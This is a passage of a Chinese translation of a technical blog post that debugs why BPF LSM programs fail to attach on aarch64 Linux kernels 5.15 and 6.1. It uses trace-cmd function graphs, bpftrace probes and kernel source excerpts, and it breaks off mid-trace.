探索aarch64架构上使用ftrace的BPF LSM 译者注 笔者在MacBook M2上搭建Linux虚拟机上开发eBPF程序时,遇到一些LSM eBPF类型程序无法运行的问题。 在笔者尝试定位这些差异时,看到这篇文章,可以让大家更直观地了解LSM eBPF在ARM64、AMD64 内核上的差异。 原文地址:Exploring BPF LSM support on aarch64 with ftrace 原文 本博客文章是我们在Linux中对于aarch64上BPF LSM支持的内部研究的摘要。如果你对内核代码库不熟悉,要开始查看内核源码是非常困难的,因此我们决定发布这篇文章,展示我们的方法,因为这对于想要探索内核内部的任何人都可能有所帮助。 简介 在x86_64上,我们已经在使用BPF LSM,而在aarch64上,我们依赖于Kprobes,因此我们想知道内核中缺少了哪些功能,才能让这些功能在aarch64上可用。 我们曾多次深入研究内核源代码,但通常我们搜索的是已经存在的东西,以了解其工作原理。但在这种情况下,我们在寻找的是不存在的东西,我们追寻的是那些因为未实现而返回错误的内容。 回想起Steven Rostedt关于如何开始学习Linux内核的讲话,我们从ftrace(以及构建在跟踪基础设施上的工具)开始,以了解当我们将一个不受支持的BPF程序加载到内核时会发生什么。 问题 这是当我们尝试将一个BPF LSM程序加载到aarch64 5.15 Linux内核时,使用我们的软件pulsar时的输出: root@pine64-1:/home/exein# ./pulsar-enterprise-exec pulsard [2023-02-16T14:52:45Z INFO pulsar::pulsard::daemon] Starting module process-monitor [2023-02-16T14:52:45Z INFO pulsar::pulsard::daemon] Starting module file-system-monitor [2023-02-16T14:52:46Z INFO pulsar::pulsard::daemon] Starting module network-monitor [2023-02-16T14:52:46Z INFO pulsar::pulsard::daemon] Starting module logger [2023-02-16T14:52:46Z INFO pulsar::pulsard::daemon] Starting module rules-engine [2023-02-16T14:52:46Z INFO pulsar::pulsard::daemon] Starting module desktop-notifier [2023-02-16T14:52:46Z ERROR pulsar::pulsard::module_manager] Module error in file-system-monitor: failed program attach lsm path_mknod Caused by: 0: `bpf_raw_tracepoint_open` failed 1: No error information (os error 524) [2023-02-16T14:52:46Z INFO pulsar::pulsard::daemon] Starting module anomaly-detection [2023-02-16T14:52:46Z INFO pulsar::pulsard::daemon] Starting module malware-detection [2023-02-16T14:52:46Z ERROR pulsar::pulsard::module_manager] Module error in malware-detection: /var/lib/pulsar/malware_detection/models/parameters.json not found [2023-02-16T14:52:46Z INFO pulsar::pulsard::daemon] Starting module platform-connector [2023-02-16T14:52:46Z INFO platform_connector::client] Connected to https://platform-dev-instance.exein.io:8001/ [2023-02-16T14:52:46Z INFO pulsar::pulsard::daemon] Starting module threat-response [2023-02-16T14:52:46Z ERROR pulsar::pulsard::module_manager] Module error in network-monitor: failed program attach lsm socket_bind Caused by: 0: `bpf_raw_tracepoint_open` failed 1: No error information (os error 524) 我们在尝试加载与path_mknodLSM挂钩相关的BPF程序时,pulsar出现了错误524或ENOTSUPP。让我们尝试深入研究这个问题。 注意: 在进行这项研究时,我们当时无法找到预先编译为启用BPF和BTF的aarch64,因此我们不得不编译一个自定义内核。我们还启用了跟踪选项和function_graph插件,以使用下面的工具。 所有的实验都是在一台装有定制Armbian镜像的Pine A64上进行的。 这些镜像具有带有标准Ubuntu 22.04 LTS Jammy用户空间的自定义内核。 工具 为了调查这个问题,我们使用了以下工具: bpftrace:基于BPF的工具,使用自定义类C语言动态附加探针。 trace-cmd:围绕tracefs文件系统的包装器,与ftrace基础设施交互。 要使用这些工具,您需要在Linux内核中启用一些选项,请查阅官方文档获取完整的要求。 注意: 也可以使用其他工具来完成相同的工作,例如perf-tools中的funcgraph和kprobe。 Linux 5.15 现在我们开始使用这些工具来查看在内核5.15中尝试加载我们的BPF程序时会发生什么。 从这一点开始到本文末尾,我们将使用probe二进制文件代替pulsar,因为它更简单。为了简要概括其工作原理,以下是命令行帮助: exein@pine64-1:~$ ./probe Test runner for eBPF programs Usage: probe [OPTIONS] <COMMAND> Commands: file-system-monitor Watch file creations process-monitor Watch process events (fork/exec/exit) network-monitor Watch network events help Print this message or the help of the given subcommand(s) Options: -v, --verbose -h, --help Print help -V, --version Print version 在这些示例中,我们将尝试加载file-system-monitor探针。 通过运行以下命令,我们可以看到__sys_bpf函数的函数图调用,这是BPF系统调用的入口点: trace-cmd record -p function_graph -g __sys_bpf ./probe file-system-monitor trace-cmd report 输出是一个非常庞大的函数图,太大了,无法在这里粘贴。由于我们遇到了错误,我们对程序停止前的最后几个函数感兴趣。以下是trace-cmd report输出的最后几行: ... tokio-runtime-w-1666 [003] 1318.058019: funcgraph_entry: | bpf_trampoline_link_prog() { tokio-runtime-w-1666 [003] 1318.058020: funcgraph_entry: 2.292 us | bpf_attach_type_to_tramp(); tokio-runtime-w-1666 [003] 1318.058024: funcgraph_entry: 1.250 us | mutex_lock(); tokio-runtime-w-1666 [003] 1318.058028: funcgraph_entry: | bpf_trampoline_update() { tokio-runtime-w-1666 [003] 1318.058030: funcgraph_entry: | kmem_cache_alloc_trace() { tokio-runtime-w-1666 [003] 1318.058031: funcgraph_entry: 1.167 us | should_failslab(); tokio-runtime-w-1666 [003] 1318.058036: funcgraph_exit: 6.792 us | } tokio-runtime-w-1666 [003] 1318.058039: funcgraph_entry: | kmem_cache_alloc_trace() { tokio-runtime-w-1666 [003] 1318.058042: funcgraph_entry: 2.750 us | should_failslab(); tokio-runtime-w-1666 [003] 1318.058046: funcgraph_exit: 6.417 us | } tokio-runtime-w-1666 [003] 1318.058048: funcgraph_entry: 2.708 us | bpf_jit_charge_modmem(); tokio-runtime-w-1666 [003] 1318.058053: funcgraph_entry: | bpf_jit_alloc_exec_page() { tokio-runtime-w-1666 [003] 1318.058055: funcgraph_entry: | bpf_jit_alloc_exec() { tokio-runtime-w-1666 [003] 1318.058057: funcgraph_entry: | vmalloc() { tokio-runtime-w-1666 [003] 1318.058059: funcgraph_entry: | __vmalloc_node() { tokio-runtime-w-1666 [003] 1318.058061: funcgraph_entry: | __vmalloc_node_range() { tokio-runtime-w-1666 [003] 1318.058064: funcgraph_entry: | __get_vm_area_node.constprop.64() { tokio-runtime-w-1666 [003] 1318.058067: funcgraph_entry: | kmem_cache_alloc_node_trace() { tokio-runtime-w-1666 [003] 1318.058069: funcgraph_entry: 1.459 us | should_failslab(); tokio-runtime-w-1666 [003] 1318.058073: funcgraph_exit: 6.292 us | } tokio-runtime-w-1666 [003] 1318.058075: funcgraph_entry: | alloc_vmap_area() { tokio-runtime-w-1666 [003] 1318.058077: funcgraph_entry: | kmem_cache_alloc_node() { tokio-runtime-w-1666 [003] 1318.058079: funcgraph_entry: 1.167 us | should_failslab(); tokio-runtime-w-1666 [003] 1318.058085: funcgraph_exit: 7.625 us | } tokio-runtime-w-1666 [003] 1318.058088: funcgraph_entry: | kmem_cache_alloc_node() { tokio-runtime-w-1666 [003] 1318.058089: funcgraph_entry: 1.208 us | should_failslab(); tokio-runtime-w-1666 [003] 1318.058092: funcgraph_exit: 4.584 us | } tokio-runtime-w-1666 [003] 1318.058104: funcgraph_entry: | kmem_cache_free() { tokio-runtime-w-1666 [003] 1318.058107: funcgraph_entry: 2.084 us | __slab_free(); tokio-runtime-w-1666 [003] 1318.058110: funcgraph_exit: 5.667 us | } tokio-runtime-w-1666 [003] 1318.058112: funcgraph_entry: 6.375 us | insert_vmap_area.constprop.74(); tokio-runtime-w-1666 [003] 1318.058119: funcgraph_exit: + 44.667 us | } tokio-runtime-w-1666 [003] 1318.058122: funcgraph_exit: + 58.250 us | } tokio-runtime-w-1666 [003] 1318.058124: funcgraph_entry: | __kmalloc_node() { tokio-runtime-w-1666 [003] 1318.058125: funcgraph_entry: 1.625 us | kmalloc_slab(); tokio-runtime-w-1666 [003] 1318.058128: funcgraph_entry: 1.167 us | should_failslab(); tokio-runtime-w-1666 [003] 1318.058131: funcgraph_exit: 7.208 us | } tokio-runtime-w-1666 [003] 1318.058133: funcgraph_entry: | alloc_pages() { tokio-runtime-w-1666 [003] 1318.058135: funcgraph_entry: 1.583 us | get_task_policy.part.48(); tokio-runtime-w-1666 [003] 1318.058138: funcgraph_entry: 1.500 us | policy_node(); tokio-runtime-w-1666 [003] 1318.058141: funcgraph_entry: 1.209 us | policy_nodemask(); tokio-runtime-w-1666 [003] 1318.058143: funcgraph_entry: | __alloc_pages() { tokio-runtime-w-1666 [003] 1318.058145: funcgraph_entry: 1.458 us | should_fail_alloc_page(); tokio-runtime-w-1666 [003] 1318.058147: funcgraph_entry: | get_page_from_freelist() { tokio-runtime-w-1666 [003] 1318.058150: funcgraph_entry: 1.583 us | prep_new_page(); tokio-runtime-w-1666 [003] 1318.058153: funcgraph_exit: 5.459 us | } tokio-runtime-w-1666 [003] 1318.058154: funcgraph_exit: + 10.542 us | } tokio-runtime-w-1666 [003] 1318.058155: funcgraph_exit: + 22.083 us | } tokio-runtime-w-1666 [003] 1318.058157: funcgraph_entry: | __cond_resched() { tokio-runtime-w-1666 [003] 1318.058158: funcgraph_entry: 1.833 us | rcu_all_qs(); tokio-runtime-w-1666 [003] 1318.058161: funcgraph_exit: 4.167 us | } tokio-runtime-w-1666 [003] 1318.058166: funcgraph_entry: 5.542 us | vmap_pages_range_noflush(); tokio-runtime-w-1666 [003] 1318.058173: funcgraph_exit: ! 112.375 us | } tokio-runtime-w-1666 [003] 1318.058175: funcgraph_exit: ! 116.000 us | } tokio-runtime-w-1666 [003] 1318.058176: funcgraph_exit: ! 119.292 us | } tokio-runtime-w-1666 [003] 1318.058177: funcgraph_exit: ! 122.542 us | } tokio-runtime-w-1666 [003] 1318.058179: funcgraph_entry: | find_vm_area() { tokio-runtime-w-1666 [003] 1318.058180: funcgraph_entry: 1.375 us | find_vmap_area(); tokio-runtime-w-1666 [003] 1318.058183: funcgraph_exit: 4.333 us | } tokio-runtime-w-1666 [003] 1318.058185: funcgraph_entry: | set_memory_x() { tokio-runtime-w-1666 [003] 1318.058186: funcgraph_entry: | change_memory_common() { tokio-runtime-w-1666 [003] 1318.058188: funcgraph_entry: | find_vm_area() { tokio-runtime-w-1666 [003] 1318.058189: funcgraph_entry: 1.333 us | find_vmap_area(); tokio-runtime-w-1666 [003] 1318.058192: funcgraph_exit: 3.875 us | } tokio-runtime-w-1666 [003] 1318.058193: funcgraph_entry: | vm_unmap_aliases() { tokio-runtime-w-1666 [003] 1318.058194: funcgraph_entry: | _vm_unmap_aliases.part.58() { tokio-runtime-w-1666 [003] 1318.058196: funcgraph_entry: 1.542 us | rcu_read_unlock_strict(); tokio-runtime-w-1666 [003] 1318.058199: funcgraph_entry: 1.208 us | rcu_read_unlock_strict(); tokio-runtime-w-1666 [003] 1318.058202: funcgraph_entry: 1.166 us | rcu_read_unlock_strict(); tokio-runtime-w-1666 [003] 1318.058205: funcgraph_entry: 1.208 us | rcu_read_unlock_strict(); tokio-runtime-w-1666 [003] 1318.058207: funcgraph_entry: 1.208 us | mutex_lock(); tokio-runtime-w-1666 [003] 1318.058210: funcgraph_entry: | purge_fragmented_blocks_allcpus() { tokio-runtime-w-1666 [003] 1318.058212: funcgraph_entry: 1.500 us | rcu_read_unlock_strict(); tokio-runtime-w-1666 [003] 1318.058214: funcgraph_entry: 1.500 us | rcu_read_unlock_strict(); tokio-runtime-w-1666 [003] 1318.058217: funcgraph_entry: 1.500 us | rcu_read_unlock_strict(); tokio-runtime-w-1666 [003] 1318.058220: funcgraph_entry: 1.167 us | rcu_read_unlock_strict(); tokio-runtime-w-1666 [003] 1318.058222: funcgraph_exit: + 11.917 us | } tokio-runtime-w-1666 [003] 1318.058224: funcgraph_entry: | __purge_vmap_area_lazy() { tokio-runtime-w-1666 [003] 1318.058232: funcgraph_entry: | kmem_cache_free() { tokio-runtime-w-1666 [003] 1318.058234: funcgraph_entry: 1.250 us | __slab_free(); tokio-runtime-w-1666 [003] 1318.058237: funcgraph_exit: 4.791 us | } tokio-runtime-w-1666 [003] 1318.058241: funcgraph_entry: 1.209 us | __cond_resched_lock(); tokio-runtime-w-1666 [003] 1318.058244: funcgraph_exit: + 19.625 us | } tokio-runtime-w-1666 [003] 1318.058245: funcgraph_entry: 1.167 us | mutex_unlock(); tokio-runtime-w-1666 [003] 1318.058247: funcgraph_exit: + 53.042 us | } tokio-runtime-w-1666 [003] 1318.058248: funcgraph_exit: + 55.625 us | } tokio-runtime-w-1666 [003] 1318.058250: funcgraph_entry: | __change_memory_common() { tokio-runtime-w-1666 [003] 1318.058251: funcgraph_entry: | apply_to_page_range() { tokio-runtime-w-1666 [003] 1318.058253: funcgraph_entry: | __apply_to_page_range() { tokio-runtime-w-1666 [003] 1318.058255: funcgraph_entry: 1.250 us | pud_huge(); tokio-runtime-w-1666 [003] 1318.058258: funcgraph_entry: 1.166 us | pmd_huge(); tokio-runtime-w-1666 [003] 1318.058260: funcgraph_entry: 1.208 us | change_page_range(); tokio-runtime-w-1666 [003] 1318.058263: funcgraph_exit: 9.834 us | } tokio-runtime-w-1666 [003] 1318.058264: funcgraph_exit: + 12.709 us | } tokio-runtime-w-1666 [003] 1318.058266: funcgraph_exit: + 15.459 us | } tokio-runtime-w-1666 [003] 1318.058268: funcgraph_exit: + 80.791 us | } tokio-runtime-w-1666 [003] 1318.058270: funcgraph_exit: + 84.834 us | } tokio-runtime-w-1666 [003] 1318.058272: funcgraph_exit: ! 218.500 us | } tokio-runtime-w-1666 [003] 1318.058274: funcgraph_entry: | __alloc_percpu_gfp() { tokio-runtime-w-1666 [003] 1318.058276: funcgraph_entry: | pcpu_alloc() { tokio-runtime-w-1666 [003] 1318.058281: funcgraph_entry: 2.250 us | mutex_lock_killable(); tokio-runtime-w-1666 [003] 1318.058290: funcgraph_entry: | pcpu_find_block_fit() { tokio-runtime-w-1666 [003] 1318.058293: funcgraph_entry: 2.833 us | pcpu_next_fit_region.constprop.38(); tokio-runtime-w-1666 [003] 1318.058299: funcgraph_exit: 9.084 us | } tokio-runtime-w-1666 [003] 1318.058301: funcgraph_entry: | pcpu_alloc_area() { tokio-runtime-w-1666 [003] 1318.058315: funcgraph_entry: 4.000 us | pcpu_block_update_hint_alloc(); tokio-runtime-w-1666 [003] 1318.058320: funcgraph_entry: 2.208 us | pcpu_chunk_relocate(); tokio-runtime-w-1666 [003] 1318.058324: funcgraph_exit: + 22.625 us | } tokio-runtime-w-1666 [003] 1318.058327: funcgraph_entry: 1.208 us | mutex_unlock(); tokio-runtime-w-1666 [003] 1318.058332: funcgraph_entry: 1.584 us | pcpu_memcg_post_alloc_hook(); tokio-runtime-w-1666 [003] 1318.058335: funcgraph_exit: + 58.833 us | } tokio-runtime-w-1666 [003] 1318.058336: funcgraph_exit: + 61.834 us | } tokio-runtime-w-1666 [003] 1318.058338: funcgraph_entry: | kmem_cache_alloc_trace() { tokio-runtime-w-1666 [003] 1318.058339: funcgraph_entry: 1.167 us | should_failslab(); tokio-runtime-w-1666 [003] 1318.058342: funcgraph_exit: 4.458 us | } tokio-runtime-w-1666 [003] 1318.058359: funcgraph_entry: | bpf_image_ksym_add() { tokio-runtime-w-1666 [003] 1318.058360: funcgraph_entry: | bpf_ksym_add() { tokio-runtime-w-1666 [003] 1318.058363: funcgraph_entry: 1.583 us | __local_bh_enable_ip(); tokio-runtime-w-1666 [003] 1318.058366: funcgraph_exit: 5.750 us | } tokio-runtime-w-1666 [003] 1318.058369: funcgraph_exit: 9.834 us | } tokio-runtime-w-1666 [003] 1318.058371: funcgraph_entry: 1.250 us | arch_prepare_bpf_trampoline(); tokio-runtime-w-1666 [003] 1318.058373: funcgraph_entry: 2.292 us | kfree(); tokio-runtime-w-1666 [003] 1318.058377: funcgraph_exit: ! 348.625 us | } tokio-runtime-w-1666 [003] 1318.058379: funcgraph_entry: 1.250 us | mutex_unlock(); tokio-runtime-w-1666 [003] 1318.058382: funcgraph_exit: ! 363.167 us | } tokio-runtime-w-1666 [003] 1318.058384: funcgraph_entry: | bpf_link_cleanup() { tokio-runtime-w-1666 [003] 1318.058386: funcgraph_entry: | bpf_link_free_id.part.30() { tokio-runtime-w-1666 [003] 1318.058392: funcgraph_entry: | call_rcu() { tokio-runtime-w-1666 [003] 1318.058396: funcgraph_entry: 1.834 us | rcu_segcblist_enqueue(); tokio-runtime-w-1666 [003] 1318.058401: funcgraph_exit: 9.333 us | } tokio-runtime-w-1666 [003] 1318.058403: funcgraph_entry: 1.542 us | __local_bh_enable_ip(); tokio-runtime-w-1666 [003] 1318.058406: funcgraph_exit: + 19.542 us | } tokio-runtime-w-1666 [003] 1318.058408: funcgraph_entry: | fput() { tokio-runtime-w-1666 [003] 1318.058409: funcgraph_entry: | fput_many() { tokio-runtime-w-1666 [003] 1318.058411: funcgraph_entry: | task_work_add() { tokio-runtime-w-1666 [003] 1318.058414: funcgraph_entry: 1.625 us | kick_process(); tokio-runtime-w-1666 [003] 1318.058418: funcgraph_exit: 6.750 us | } tokio-runtime-w-1666 [003] 1318.058419: funcgraph_exit: + 10.333 us | } tokio-runtime-w-1666 [003] 1318.058420: funcgraph_exit: + 12.708 us | } tokio-runtime-w-1666 [003] 1318.058422: funcgraph_entry: 2.250 us | put_unused_fd(); tokio-runtime-w-1666 [003] 1318.058426: funcgraph_exit: + 41.416 us | } tokio-runtime-w-1666 [003] 1318.058428: funcgraph_entry: 1.292 us | mutex_unlock(); tokio-runtime-w-1666 [003] 1318.058430: funcgraph_entry: 1.250 us | kfree(); tokio-runtime-w-1666 [003] 1318.058433: funcgraph_exit: ! 567.458 us | } tokio-runtime-w-1666 [003] 1318.058435: funcgraph_entry: 2.125 us | __bpf_prog_put.isra.47(); tokio-runtime-w-1666 [003] 1318.058438: funcgraph_exit: ! 602.291 us | } tokio-runtime-w-1666 [003] 1318.058439: funcgraph_exit: ! 631.791 us | } ```shell 这是<code>kernel/bpf/trampoline.c</code>中与最后执行的函数<code>bpf_trampoline_update</code>对应的源代码: ```c static int bpf_trampoline_update(struct bpf_trampoline *tr) { struct bpf_tramp_image *im; struct bpf_tramp_progs *tprogs; u32 flags = BPF_TRAMP_F_RESTORE_REGS; bool ip_arg = false; int err, total; tprogs = bpf_trampoline_get_progs(tr, &total, &ip_arg); if (IS_ERR(tprogs)) return PTR_ERR(tprogs); if (total == 0) { err = unregister_fentry(tr, tr->cur_image->image); bpf_tramp_image_put(tr->cur_image); tr->cur_image = NULL; tr->selector = 0; goto out; } im = bpf_tramp_image_alloc(tr->key, tr->selector); if (IS_ERR(im)) { err = PTR_ERR(im); goto out; } if (tprogs[BPF_TRAMP_FEXIT].nr_progs || tprogs[BPF_TRAMP_MODIFY_RETURN].nr_progs) flags = BPF_TRAMP_F_CALL_ORIG | BPF_TRAMP_F_SKIP_FRAME; if (ip_arg) flags |= BPF_TRAMP_F_IP_ARG; err = arch_prepare_bpf_trampoline(im, im->image, im->image + PAGE_SIZE, &tr->func.model, flags, tprogs, tr->func.addr); if (err < 0) goto out; WARN_ON(tr->cur_image && tr->selector == 0); WARN_ON(!tr->cur_image && tr->selector); if (tr->cur_image) /* progs already running at this address */ err = modify_fentry(tr, tr->cur_image->image, im->image); else /* first time registering */ err = register_fentry(tr, im->image); if (err) goto out; if (tr->cur_image) bpf_tramp_image_put(tr->cur_image); tr->cur_image = im; tr->selector++; out: kfree(tprogs); return err; } 根据先前的输出,我们可以看到: tokio-runtime-w-1666 [003] 1318.058371: funcgraph_entry: 1.250 us | arch_prepare_bpf_trampoline(); tokio-runtime-w-1666 [003] 1318.058373: funcgraph_entry: 2.292 us | kfree(); 在arch_prepare_bpf_trampoline和kfree函数之间没有其他函数调用,所以很可能第一个函数在err变量中返回了错误代码。让我们来验证一下! 通过以下方式在shell中启动bpftace,我们可以捕获arch_prepare_bpf_trampoline函数的返回值并将其打印到控制台上: bpftrace -e 'kretprobe:arch_prepare_bpf_trampoline { printf("retval link: %d\n", retval); }' 并且在另一个终端中启动probe后,我们从bpftace得到了以下输出: root@pine64-1:/home/exein# bpftrace -e 'kretprobe:arch_prepare_bpf_trampoline { printf("retval link: %d\n", retval); }' Attaching 1 probe... retval link: -524 这是因为内核5.15缺乏对aarch64架构的arch_prepare_bpf_trampoline实现,并使用了默认的占位符实现。 int __weak arch_prepare_bpf_trampoline(struct bpf_tramp_image *tr, void *image, void *image_end, const struct btf_func_model *m, u32 flags, struct bpf_tramp_links *tlinks, void *orig_call) { return -ENOTSUPP; } 因此,这个功能在这个内核版本上是不受支持的。好消息是,多亏了这个补丁,它在6.x内核中得到了实现。 让我们移步到6.x内核。 Linux 6.1 如果我们尝试在内核 6.1 上运行 probe,我们会得到以下输出: root@pine64:/home/exein# ./probe file-system-monitor thread 'main' panicked at 'initialization failed: ProgramAttachError { program: "lsm path_mknod", program_error: SyscallError { call: "bpf_raw_tracepoint_open", io_error: Os { code: 524, kind: Uncategorized, message: "No error information" } } }', src/bin/probe.rs:72:43 note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace 对于内核版本6.1,我们仍然遇到了和5.15内核一样的错误!!!让我们找出其中的原因。 这次在arch_prepare_bpf_trampoline上运行bpftrace,我们得到了以下输出: root@pine64:/home/exein# bpftrace -e 'kretprobe:arch_prepare_bpf_trampoline { printf("retval tp link: %d\n", retval); }' Attaching 1 probe... retval tp link: 284 所以问题不在这里,这个函数不再返回错误了。让我们回到函数调用图。 这次我们启动trace-cmd,跳过一些函数以获得更清晰的输出: trace-cmd record \ -p function_graph \ -g bpf_trampoline_link_prog \ -n bpf_jit_alloc_exec \ -n kmalloc_trace \ -n arch_prepare_bpf_trampoline \ -n generic_handle_domain_irq \ -n do_interrupt_handler \ -n irq_exit_rcu \ ./probe file-system-monitor 我们从trace-cmd report中获得以下输出: root@pine64:/home/exein# trace-cmd report CPU 0 is empty CPU 1 is empty CPU 3 is empty cpus=4 tokio-runtime-w-11886 [002] 193385.056283: funcgraph_entry: | bpf_trampoline_link_prog() { tokio-runtime-w-11886 [002] 193385.056321: funcgraph_entry: + 15.042 us | mutex_lock(); tokio-runtime-w-11886 [002] 193385.056373: funcgraph_entry: | __bpf_trampoline_link_prog() { tokio-runtime-w-11886 [002] 193385.056395: funcgraph_entry: + 14.833 us | bpf_attach_type_to_tramp(); tokio-runtime-w-11886 [002] 193385.056428: funcgraph_entry: | bpf_trampoline_update.isra.23() { tokio-runtime-w-11886 [002] 193385.056459: funcgraph_entry: 2.917 us | bpf_jit_charge_modmem(); tokio-runtime-w-11886 [002] 193385.056531: funcgraph_entry: | find_vm_area() { tokio-runtime-w-11886 [002] 193385.056540: funcgraph_entry: 3.000 us | find_vmap_area(); tokio-runtime-w-11886 [002] 193385.056547: funcgraph_exit: + 16.208 us | } tokio-runtime-w-11886 [002] 193385.056554: funcgraph_entry: | __alloc_percpu_gfp() { tokio-runtime-w-11886 [002] 193385.056563: funcgraph_entry: | pcpu_alloc() { tokio-runtime-w-11886 [002] 193385.056568: funcgraph_entry: 4.875 us | mutex_lock_killable(); tokio-runtime-w-11886 [002] 193385.056591: funcgraph_entry: | pcpu_find_block_fit() { tokio-runtime-w-11886 [002] 193385.056599: funcgraph_entry: 8.625 us | pcpu_next_fit_region.constprop.38(); tokio-runtime-w-11886 [002] 193385.056608: funcgraph_exit: + 17.166 us | } tokio-runtime-w-11886 [002] 193385.056610: funcgraph_entry: | pcpu_alloc_area() { tokio-runtime-w-11886 [002] 193385.056639: funcgraph_entry: 9.167 us | pcpu_block_update(); tokio-runtime-w-11886 [002] 193385.056656: funcgraph_entry: 7.667 us | pcpu_block_update_hint_alloc(); tokio-runtime-w-11886 [002] 193385.056671: funcgraph_entry: 7.750 us | pcpu_chunk_relocate(); tokio-runtime-w-11886 [002] 193385.056679: funcgraph_exit: + 69.667 us | } tokio-runtime-w-11886 [002] 193385.056682: funcgraph_entry: 7.042 us | mutex_unlock(); tokio-runtime-w-11886 [002] 193385.056703: funcgraph_entry: 2.792 us | pcpu_memcg_post_alloc_hook(); tokio-runtime-w-11886 [002] 193385.056712: funcgraph_exit: ! 148.709 us | } tokio-runtime-w-11886 [002] 193385.056719: funcgraph_exit: ! 165.250 us | } tokio-runtime-w-11886 [002] 193385.056866: funcgraph_entry: | bpf_image_ksym_add() { tokio-runtime-w-11886 [002] 193385.056873: funcgraph_entry: | bpf_ksym_add() { tokio-runtime-w-11886 [002] 193385.056882: funcgraph_entry: 2.750 us | __local_bh_disable_ip(); tokio-runtime-w-11886 [002] 193385.056897: funcgraph_entry: 4.625 us | __local_bh_enable_ip(); tokio-runtime-w-11886 [002] 193385.056905: funcgraph_exit: + 32.459 us | } tokio-runtime-w-11886 [002] 193385.056922: funcgraph_entry: 7.584 us | perf_event_ksymbol(); tokio-runtime-w-11886 [002] 193385.056944: funcgraph_exit: + 78.417 us | } tokio-runtime-w-11886 [002] 193385.057492: funcgraph_entry: | set_memory_ro() { tokio-runtime-w-11886 [002] 193385.057501: funcgraph_entry: | change_memory_common() { tokio-runtime-w-11886 [002] 193385.057504: funcgraph_entry: | find_vm_area() { tokio-runtime-w-11886 [002] 193385.057506: funcgraph_entry: 8.875 us | find_vmap_area(); tokio-runtime-w-11886 [002] 193385.057518: funcgraph_exit: + 14.250 us | } tokio-runtime-w-11886 [002] 193385.057522: funcgraph_entry: | __change_memory_common() { tokio-runtime-w-11886 [002] 193385.057531: funcgraph_entry: | apply_to_page_range() { tokio-runtime-w-11886 [002] 193385.057538: funcgraph_entry: | __apply_to_page_range() { tokio-runtime-w-11886 [002] 193385.057544: funcgraph_entry: + 12.791 us | pud_huge(); tokio-runtime-w-11886 [002] 193385.057559: funcgraph_entry: 2.708 us | pmd_huge(); tokio-runtime-w-11886 [002] 193385.057574: funcgraph_entry: + 15.125 us | change_page_range(); tokio-runtime-w-11886 [002] 193385.057591: funcgraph_exit: + 53.792 us | } tokio-runtime-w-11886 [002] 193385.057597: funcgraph_exit: + 66.083 us | } tokio-runtime-w-11886 [002] 193385.057610: funcgraph_exit: + 88.125 us | } tokio-runtime-w-11886 [002] 193385.057619: funcgraph_entry: | vm_unmap_aliases() { tokio-runtime-w-11886 [002] 193385.057622: funcgraph_entry: | _vm_unmap_aliases.part.77() { tokio-runtime-w-11886 [002] 193385.057625: funcgraph_entry: 9.125 us | mutex_lock(); tokio-runtime-w-11886 [002] 193385.057637: funcgraph_entry: 3.084 us | purge_fragmented_blocks_allcpus(); tokio-runtime-w-11886 [002] 193385.057643: funcgraph_entry: | __purge_vmap_area_lazy() { tokio-runtime-w-11886 [002] 193385.057687: funcgraph_entry: | kmem_cache_free() { tokio-runtime-w-11886 [002] 193385.057693: funcgraph_entry: + 13.250 us | __slab_free(); tokio-runtime-w-11886 [002] 193385.057705: funcgraph_exit: + 18.750 us | } tokio-runtime-w-11886 [002] 193385.057718: funcgraph_entry: 7.416 us | __cond_resched_lock(); tokio-runtime-w-11886 [002] 193385.057733: funcgraph_exit: + 90.042 us | } tokio-runtime-w-11886 [002] 193385.057741: funcgraph_entry: 2.792 us | mutex_unlock(); tokio-runtime-w-11886 [002] 193385.057747: funcgraph_exit: ! 124.666 us | } tokio-runtime-w-11886 [002] 193385.057749: funcgraph_exit: ! 130.291 us | } tokio-runtime-w-11886 [002] 193385.057756: funcgraph_entry: | __change_memory_common() { tokio-runtime-w-11886 [002] 193385.057759: funcgraph_entry: | apply_to_page_range() { tokio-runtime-w-11886 [002] 193385.057765: funcgraph_entry: | __apply_to_page_range() { tokio-runtime-w-11886 [002] 193385.057768: funcgraph_entry: 4.125 us | pud_huge(); tokio-runtime-w-11886 [002] 193385.057778: funcgraph_entry: 8.750 us | pmd_huge(); tokio-runtime-w-11886 [002] 193385.057790: funcgraph_entry: 4.625 us | change_page_range(); tokio-runtime-w-11886 [002] 193385.057797: funcgraph_exit: + 31.958 us | } tokio-runtime-w-11886 [002] 193385.057803: funcgraph_exit: + 44.375 us | } tokio-runtime-w-11886 [002] 193385.057817: funcgraph_exit: + 61.208 us | } tokio-runtime-w-11886 [002] 193385.057820: funcgraph_exit: ! 319.292 us | } tokio-runtime-w-11886 [002] 193385.057826: funcgraph_exit: ! 333.667 us | } tokio-runtime-w-11886 [002] 193385.057840: funcgraph_entry: | set_memory_x() { tokio-runtime-w-11886 [002] 193385.057847: funcgraph_entry: | change_memory_common() { tokio-runtime-w-11886 [002] 193385.057855: funcgraph_entry: | find_vm_area() { tokio-runtime-w-11886 [002] 193385.057858: funcgraph_entry: 2.917 us | find_vmap_area(); tokio-runtime-w-11886 [002] 193385.057870: funcgraph_exit: + 14.375 us | } tokio-runtime-w-11886 [002] 193385.057876: funcgraph_entry: | vm_unmap_aliases() { tokio-runtime-w-11886 [002] 193385.057879: funcgraph_entry: | _vm_unmap_aliases.part.77() { tokio-runtime-w-11886 [002] 193385.057882: funcgraph_entry: 3.959 us | mutex_lock(); tokio-runtime-w-11886 [002] 193385.057893: funcgraph_entry: 3.000 us | purge_fragmented_blocks_allcpus(); tokio-runtime-w-11886 [002] 193385.057900: funcgraph_entry: 2.791 us | __purge_vmap_area_lazy(); tokio-runtime-w-11886 [002] 193385.057907: funcgraph_entry: 2.709 us | mutex_unlock(); tokio-runtime-w-11886 [002] 193385.057913: funcgraph_exit: + 33.708 us | } tokio-runtime-w-11886 [002] 193385.057915: funcgraph_exit: + 43.000 us | } tokio-runtime-w-11886 [002] 193385.057922: funcgraph_entry: | __change_memory_common() { tokio-runtime-w-11886 [002] 193385.057925: funcgraph_entry: | apply_to_page_range() { tokio-runtime-w-11886 [002] 193385.057930: funcgraph_entry: | __apply_to_page_range() { tokio-runtime-w-11886 [002] 193385.057933: funcgraph_entry: 4.292 us | pud_huge(); tokio-runtime-w-11886 [002] 193385.057945: funcgraph_entry: 8.750 us | pmd_huge(); tokio-runtime-w-11886 [002] 193385.057956: funcgraph_entry: 3.958 us | change_page_range(); tokio-runtime-w-11886 [002] 193385.058037: funcgraph_exit: + 32.083 us | } tokio-runtime-w-11886 [002] 193385.058089: funcgraph_entry: 7.667 us | 